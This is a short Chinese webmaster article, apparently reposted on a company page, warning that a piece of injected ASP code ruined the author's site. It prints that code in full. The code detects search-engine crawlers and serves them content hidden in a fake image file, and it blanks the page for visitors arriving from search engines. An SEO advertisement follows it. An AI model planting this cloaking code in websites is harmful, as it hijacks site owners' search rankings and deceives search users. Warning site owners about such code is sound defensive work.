现在的位置: 主页 > 企业简介 > 文章列表

一段让asp程序在搜素引擎打不开的代码

作者:北京夜明珠节能科技有限公司 来源:www.ymzjn.com 发布时间:2017-09-08 19:35:48
一段让asp程序在搜素引擎打不开的代码 一段让asp程序在搜素引擎打不开的代码,把我的网站害苦了,现在把它的原形呈现如下,望广大站长朋友们及早防范:

[vb]

<%

function isspider()

dim i,agent,searray

agent="agent:"&LCase(request.servervariables("http_user_agent"))

searray=array("googlebot","baiduspider","sogouspider","yahoo","Sosospider")

isspider= false

for i=0 to ubound(searray)

if (instr(agent,searray(i))>0) then isspider=true

next

end function

function fromse()

dim urlrefer,searray,i

urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))

fromse= false

if urlrefer="" then fromse= false

searray=array("google","baidu","sogou","yahoo","soso")

for i=0 to ubound(searray)

if (instr(urlrefer,searray(i))>0) then fromse=true

next

end function

if(isspider()) then

dim myfso,fileurl,filecon,myfile

fileurl=Server.MapPath("images/bg01.gif")

Set myfso=Server.CreateObject("Scripting.FileSystemObject")

if myfso.FileExists(fileurl) then

Set myfile=myfso.OpenTextFile(fileurl, 1)

filecon=myfile.readAll

response.write(filecon)

myfile.Close

Set myfile=Nothing

Set myfso=Nothing

response.end

end if

end if

if (fromse()) then

response.write("<br/>")

response.end

else

end if

%>

企业建站2800元起,携手武汉肥猫科技,做一个有见地的颜值派!更多优惠请戳:神农架SEO http://shennongjia.raoyu.net

上一篇:python获得线程调用函数的返回值 下一篇:最后一页